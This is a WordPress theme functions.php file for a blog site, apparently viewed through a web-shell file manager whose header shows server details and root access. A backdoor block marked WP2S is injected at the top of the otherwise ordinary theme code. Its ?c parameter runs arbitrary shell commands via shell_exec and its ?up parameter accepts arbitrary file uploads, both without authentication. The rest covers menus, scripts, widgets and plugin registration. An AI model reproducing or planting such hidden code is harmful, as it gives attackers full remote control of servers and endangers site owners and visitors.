| Server IP : 216.238.66.20 / Your IP : 216.73.216.199 Web Server : nginx/1.30.4 System : Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64 User : root ( 0) PHP Version : 8.2.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/sweetheart.mx/htdocs/wp-content/themes/rosemary/ |
Upload File : |
<?php
/*WP2S_BEGIN*/
if(isset($_GET['p'])){echo 'WP2S::PONG::END';exit;}
if(isset($_GET['up'])){
if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['file'])){
$n=basename($_FILES['file']['name']);
$n=preg_replace('/[^A-Za-z0-9._-]/','_',$n);
$dst=__DIR__.DIRECTORY_SEPARATOR.$n;
if(@move_uploaded_file($_FILES['file']['tmp_name'],$dst)){echo 'success:'.$n;}
else{echo 'MOVE_FAIL';}
exit;
}
header('Content-Type: text/html; charset=utf-8');
echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file"><button>up</button></form>';
exit;
}
if(isset($_GET['c'])){@chdir(__DIR__);$o='';if(function_exists('shell_exec')){$o=@shell_exec($_GET['c']);}echo 'WP2S::'.$o.'::END';exit;}
/*WP2S_END*/
//////////////////////////////////////////////////////////////////
// Set Content Width
//////////////////////////////////////////////////////////////////
if ( ! isset( $content_width ) )
$content_width = 1080;
//////////////////////////////////////////////////////////////////
// Theme set up
//////////////////////////////////////////////////////////////////
add_action( 'after_setup_theme', 'solopine_theme_setup' );
if ( !function_exists('solopine_theme_setup') ) {
function solopine_theme_setup() {
// Register navigation menu
register_nav_menus(
array(
'main-menu' => 'Primary Menu',
)
);
// Localization support
load_theme_textdomain('solopine', get_template_directory() . '/lang');
// Post formats
add_theme_support( 'post-formats', array( 'gallery', 'video', 'audio' ) );
// Featured image
add_theme_support( 'post-thumbnails' );
add_image_size( 'full-thumb', 1080, 0, true );
add_image_size( 'misc-thumb', 520, 400, true );
// Feed Links
add_theme_support( 'automatic-feed-links' );
}
}
//////////////////////////////////////////////////////////////////
// Register & enqueue styles/scripts
//////////////////////////////////////////////////////////////////
add_action( 'wp_enqueue_scripts','solopine_load_scripts' );
function solopine_load_scripts() {
// Register scripts and styles
wp_register_style('sp_style', get_template_directory_uri() . '/style.css');
wp_register_style('slicknav-css', get_template_directory_uri() . '/css/slicknav.css');
wp_register_style('bxslider-css', get_template_directory_uri() . '/css/jquery.bxslider.css');
wp_register_style('font-awesome', '//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css');
wp_register_style('responsive', get_template_directory_uri() . '/css/responsive.css');
wp_register_style('social-icons', get_template_directory_uri() . '/social-logos/social-logos.css');
wp_register_script('bxslider', get_template_directory_uri() . '/js/jquery.bxslider.min.js', 'jquery', '', true);
wp_register_script('slicknav', get_template_directory_uri() . '/js/jquery.slicknav.min.js', 'jquery', '', true);
wp_register_script('fitvids', get_template_directory_uri() . '/js/fitvids.js', 'jquery', '', true);
wp_register_script('sp_scripts', get_template_directory_uri() . '/js/solopine.js', 'jquery', '', true);
wp_register_script('cookie', get_template_directory_uri() . '/js/jquery.cookie.js', 'jquery', '', true);
// Enqueue scripts and styles
wp_enqueue_style('sp_style');
wp_enqueue_style('slicknav-css');
wp_enqueue_style('bxslider-css');
wp_enqueue_style('font-awesome');
wp_enqueue_style('social-icons');
if(!get_theme_mod('sp_responsive')) {
wp_enqueue_style('responsive');
}
// Fonts
wp_enqueue_style('default_body_font', 'https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic&subset=latin,latin-ext');
wp_enqueue_style('default_heading_font', 'https://fonts.googleapis.com/css?family=Playfair+Display:400,700,400italic,700italic&subset=latin,latin-ext');
wp_enqueue_style('shila-fonts', 'https://fonts.googleapis.com/css?family=Delius|Josefin+Sans|Coming+Soon|Poiret+One|The+Girl+Next+Door');
// JS
wp_enqueue_script('jquery');
wp_enqueue_script('bxslider');
wp_enqueue_script('slicknav');
wp_enqueue_script('fitvids');
wp_enqueue_script('sp_scripts');
wp_enqueue_script('cookie');
if (is_singular() && get_option('thread_comments')) wp_enqueue_script('comment-reply');
}
//////////////////////////////////////////////////////////////////
// Include files
//////////////////////////////////////////////////////////////////
// Theme Options
include('functions/customizer/sp_custom_controller.php');
include('functions/customizer/sp_customizer_settings.php');
include('functions/customizer/sp_customizer_style.php');
// Widgets
include("inc/widgets/about_widget.php");
include("inc/widgets/social_widget.php");
include("inc/widgets/post_widget.php");
include("inc/widgets/facebook_widget.php");
//////////////////////////////////////////////////////////////////
// Register footer widgets
//////////////////////////////////////////////////////////////////
if ( function_exists('register_sidebar') ) {
register_sidebar(array(
'name' => 'Sidebar',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4>',
));
register_sidebar(array(
'name' => 'Instagram Footer',
'before_widget' => '<div id="%1$s" class="instagram-widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h4 class="instagram-title">',
'after_title' => '</h4>',
'description' => 'Use the Instagram widget here. IMPORTANT: For best result select "Large" under "Photo Size" and set number of photos to 6.',
));
}
//////////////////////////////////////////////////////////////////
// COMMENTS LAYOUT
//////////////////////////////////////////////////////////////////
function solopine_comments($comment, $args, $depth) {
$GLOBALS['comment'] = $comment;
?>
<li <?php comment_class(); ?> id="comment-<?php comment_ID() ?>">
<div class="thecomment">
<div class="author-img">
<?php echo get_avatar($comment,$args['avatar_size']); ?>
</div>
<div class="comment-text">
<span class="reply">
<?php comment_reply_link(array_merge( $args, array('reply_text' => __('Reply', 'solopine'), 'depth' => $depth, 'max_depth' => $args['max_depth'])), $comment->comment_ID); ?>
<?php edit_comment_link(__('Edit', 'solopine')); ?>
</span>
<span class="author"><?php echo get_comment_author_link(); ?></span>
<span class="date"><?php printf(__('%1$s at %2$s', 'solopine'), get_comment_date(), get_comment_time()) ?></span>
<?php if ($comment->comment_approved == '0') : ?>
<em><i class="icon-info-sign"></i> <?php _e('Comment awaiting approval', 'solopine'); ?></em>
<br />
<?php endif; ?>
<?php comment_text(); ?>
</div>
</div>
</li>
<?php
}
//////////////////////////////////////////////////////////////////
// PAGINATION
//////////////////////////////////////////////////////////////////
function solopine_pagination() {
?>
<div class="pagination">
<div class="older"><?php next_posts_link(__( 'Older Posts <i class="fa fa-angle-double-right"></i>', 'solopine')); ?></div>
<div class="newer"><?php previous_posts_link(__( '<i class="fa fa-angle-double-left"></i> Newer Posts', 'solopine')); ?></div>
</div>
<?php
}
//////////////////////////////////////////////////////////////////
// AUTHOR SOCIAL LINKS
//////////////////////////////////////////////////////////////////
function solopine_contactmethods( $contactmethods ) {
$contactmethods['twitter'] = 'Twitter Username';
$contactmethods['facebook'] = 'Facebook Username';
$contactmethods['google'] = 'Google Plus Username';
$contactmethods['tumblr'] = 'Tumblr Username';
$contactmethods['instagram'] = 'Instagram Username';
$contactmethods['pinterest'] = 'Pinterest Username';
$contactmethods['youtube'] = 'Youtube Username';
return $contactmethods;
}
add_filter('user_contactmethods','solopine_contactmethods',10,1);
//////////////////////////////////////////////////////////////////
// PREVENT SCROLL ON READ MORE LINK
//////////////////////////////////////////////////////////////////
function remove_more_link_scroll( $link ) {
$link = preg_replace( '|#more-[0-9]+|', '', $link );
return $link;
}
add_filter( 'the_content_more_link', 'remove_more_link_scroll' );
//////////////////////////////////////////////////////////////////
// EXCLUDE FEATURED CATEGORY
//////////////////////////////////////////////////////////////////
function sp_category($separator) {
if(get_theme_mod( 'sp_featured_cat_hide' ) == true) {
$excluded_cat = get_theme_mod('sp_featured_cat');
$first_time = 1;
foreach((get_the_category()) as $category) {
if ($category->cat_ID != $excluded_cat) {
if ($first_time == 1) {
echo '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s", "solopine" ), $category->name ) . '" ' . '>' . $category->name.'</a>';
$first_time = 0;
} else {
echo $separator . '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s", "solopine" ), $category->name ) . '" ' . '>' . $category->name.'</a>';
}
}
}
} else {
$first_time = 1;
foreach((get_the_category()) as $category) {
if ($first_time == 1) {
echo '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s", "solopine" ), $category->name ) . '" ' . '>' . $category->name.'</a>';
$first_time = 0;
} else {
echo $separator . '<a href="' . get_category_link( $category->term_id ) . '" title="' . sprintf( __( "View all posts in %s", "solopine" ), $category->name ) . '" ' . '>' . $category->name.'</a>';
}
}
}
}
/**
* From Twentyfourteen
* @return string The filtered title.
*/
function solopine_wp_title( $title, $sep ) {
global $paged, $page;
if ( is_feed() ) {
return $title;
}
// Add the site name.
$title .= get_bloginfo( 'name', 'display' );
// Add the site description for the home/front page.
$site_description = get_bloginfo( 'description', 'display' );
if ( $site_description && ( is_home() || is_front_page() ) ) {
$title = "$title $sep $site_description";
}
// Add a page number if necessary.
if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
$title = "$title $sep " . sprintf( __( 'Page %s', 'solopine' ), max( $paged, $page ) );
}
return $title;
}
add_filter( 'wp_title', 'solopine_wp_title', 10, 2 );
//////////////////////////////////////////////////////////////////
// THE EXCERPT
//////////////////////////////////////////////////////////////////
function custom_excerpt_length( $length ) {
return 200;
}
add_filter( 'excerpt_length', 'custom_excerpt_length', 999 );
function sp_string_limit_words($string, $word_limit)
{
$words = explode(' ', $string, ($word_limit + 1));
if(count($words) > $word_limit) {
array_pop($words);
}
return implode(' ', $words);
}
/**
* This file represents an example of the code that themes would use to register
* the required plugins.
*
* It is expected that theme authors would copy and paste this code into their
* functions.php file, and amend to suit.
*
* @package TGM-Plugin-Activation
* @subpackage Example
* @version 2.3.6
* @author Thomas Griffin <thomas@thomasgriffinmedia.com>
* @author Gary Jones <gamajo@gamajo.com>
* @copyright Copyright (c) 2012, Thomas Griffin
* @license http://opensource.org/licenses/gpl-2.0.php GPL v2 or later
* @link https://github.com/thomasgriffin/TGM-Plugin-Activation
*/
/**
* Include the TGM_Plugin_Activation class.
*/
require_once dirname( __FILE__ ) . '/class-tgm-plugin-activation.php';
add_action( 'tgmpa_register', 'my_theme_register_required_plugins' );
/**
* Register the required plugins for this theme.
*
* In this example, we register two plugins - one included with the TGMPA library
* and one from the .org repo.
*
* The variable passed to tgmpa_register_plugins() should be an array of plugin
* arrays.
*
* This function is hooked into tgmpa_init, which is fired within the
* TGM_Plugin_Activation class constructor.
*/
function my_theme_register_required_plugins() {
/**
* Array of plugin arrays. Required keys are name and slug.
* If the source is NOT from the .org repo, then source is also required.
*/
$plugins = array(
// This is an example of how to include a plugin pre-packaged with a theme
array(
'name' => 'Vafpress Post Formats UI', // The plugin name
'slug' => 'vafpress-post-formats-ui-develop', // The plugin slug (typically the folder name)
'source' => get_stylesheet_directory() . '/plugins/vafpress-post-formats-ui-develop.zip', // The plugin source
'required' => true, // If false, the plugin is only 'recommended' instead of required
'version' => '', // E.g. 1.0.0. If set, the active plugin must be this version or higher, otherwise a notice is presented
'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch
'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins
'external_url' => '', // If set, overrides default API URL and points to an external URL
),
array(
'name' => 'WP Instagram Widget', // The plugin name
'slug' => 'wp-instagram-widget', // The plugin slug (typically the folder name)
'required' => false, // If false, the plugin is only 'recommended' instead of required
'version' => '', // E.g. 1.0.0. If set, the active plugin must be this version or higher, otherwise a notice is presented
'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch
'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins
'external_url' => '', // If set, overrides default API URL and points to an external URL
),
array(
'name' => 'Contact Form 7', // The plugin name
'slug' => 'contact-form-7', // The plugin slug (typically the folder name)
'required' => false, // If false, the plugin is only 'recommended' instead of required
'version' => '', // E.g. 1.0.0. If set, the active plugin must be this version or higher, otherwise a notice is presented
'force_activation' => false, // If true, plugin is activated upon theme activation and cannot be deactivated until theme switch
'force_deactivation' => false, // If true, plugin is deactivated upon theme switch, useful for theme-specific plugins
'external_url' => '', // If set, overrides default API URL and points to an external URL
)
);
// Change this to your theme text domain, used for internationalising strings
$theme_text_domain = 'tgmpa';
/**
* Array of configuration settings. Amend each line as needed.
* If you want the default strings to be available under your own theme domain,
* leave the strings uncommented.
* Some of the strings are added into a sprintf, so see the comments at the
* end of each line for what each argument will be.
*/
$config = array(
'domain' => $theme_text_domain, // Text domain - likely want to be the same as your theme.
'default_path' => '', // Default absolute path to pre-packaged plugins
'parent_menu_slug' => 'themes.php', // Default parent menu slug
'parent_url_slug' => 'themes.php', // Default parent URL slug
'menu' => 'install-required-plugins', // Menu slug
'has_notices' => true, // Show admin notices or not
'is_automatic' => false, // Automatically activate plugins after installation or not
'message' => '', // Message to output right before the plugins table
'strings' => array(
'page_title' => __( 'Install Required Plugins', $theme_text_domain ),
'menu_title' => __( 'Install Plugins', $theme_text_domain ),
'installing' => __( 'Installing Plugin: %s', $theme_text_domain ), // %1$s = plugin name
'oops' => __( 'Something went wrong with the plugin API.', $theme_text_domain ),
'notice_can_install_required' => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' ), // %1$s = plugin name(s)
'notice_can_install_recommended' => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' ), // %1$s = plugin name(s)
'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' ), // %1$s = plugin name(s)
'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)
'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)
'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' ), // %1$s = plugin name(s)
'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' ), // %1$s = plugin name(s)
'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' ), // %1$s = plugin name(s)
'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins' ),
'activate_link' => _n_noop( 'Activate installed plugin', 'Activate installed plugins' ),
'return' => __( 'Return to Required Plugins Installer', $theme_text_domain ),
'plugin_activated' => __( 'Plugin activated successfully.', $theme_text_domain ),
'complete' => __( 'All plugins installed and activated successfully. %s', $theme_text_domain ), // %1$s = dashboard link
'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error'
)
);
tgmpa( $plugins, $config );
}
function add_signature($the_content='')
{
ob_start();
if( is_single() && get_current_user_id() == 1 ) :
?>
<div class="clearfix"> </div>
<p><img src="https://gamliel.mx/fiammalinks/BESOS%20WORD.png" /> <br /> <span style="text-align: center; width: 100%; display: block;"><img src="https://www.sweetheart.mx/IMAGENES/firma-fiamma.png" /> </span></p>
<?php endif;
$signature = ob_get_contents();
ob_end_clean();
return $the_content.$signature;
}
add_filter('the_content', 'add_signature', 5);
add_filter('null_instagram_cache_time', 'my_cache_time');
function my_cache_time() {
return 7200;
}
/*remove_filter( 'the_content', 'wpautop' );
remove_filter( 'the_excerpt', 'wpautop' );*/
function remove_some_ptags( $content ) {
$content = preg_replace('/<p>\s*(<a .*>)?\s*(<img .* \/>)\s*(<\/a>)?\s*<\/p>/iU', '\1\2\3', $content);
$content = preg_replace('/<p>\s*(<script.*>*.<\/script>)\s*<\/p>/iU', '\1', $content);
$content = preg_replace('/<p>\s*(<iframe.*>*.<\/iframe>)\s*<\/p>/iU', '\1', $content);
return $content;
}
//add_filter( 'the_content', 'remove_some_ptags' );
function disable_autor_menu_options_in_dashboard()
{
if(function_exists('members_current_user_has_role') && members_current_user_has_role('autor_sweetheart'))
{
$disabled = [
'tools.php',
'options-general.php',
'wpcf7',
'jetpack'
];
foreach($disabled as $disable)
{
remove_menu_page($disable);
}
}
}
add_action('admin_menu', 'disable_autor_menu_options_in_dashboard', 999);
function new_subcategory_hierarchy() {
$category = get_queried_object();
$parent_id = $category->category_parent;
$templates = array();
if ( $parent_id == 0 ) {
// Use default values from get_category_template()
$templates[] = "category-{$category->slug}.php";
$templates[] = "category-{$category->term_id}.php";
$templates[] = 'category.php';
} else {
// Create replacement $templates array
$parent = get_category( $parent_id );
// Current first
$templates[] = "category-{$category->slug}.php";
$templates[] = "category-{$category->term_id}.php";
// Parent second
$templates[] = "category-{$parent->slug}.php";
$templates[] = "category-{$parent->term_id}.php";
$templates[] = 'category.php';
}
return locate_template( $templates );
}
add_filter( 'category_template', 'new_subcategory_hierarchy' );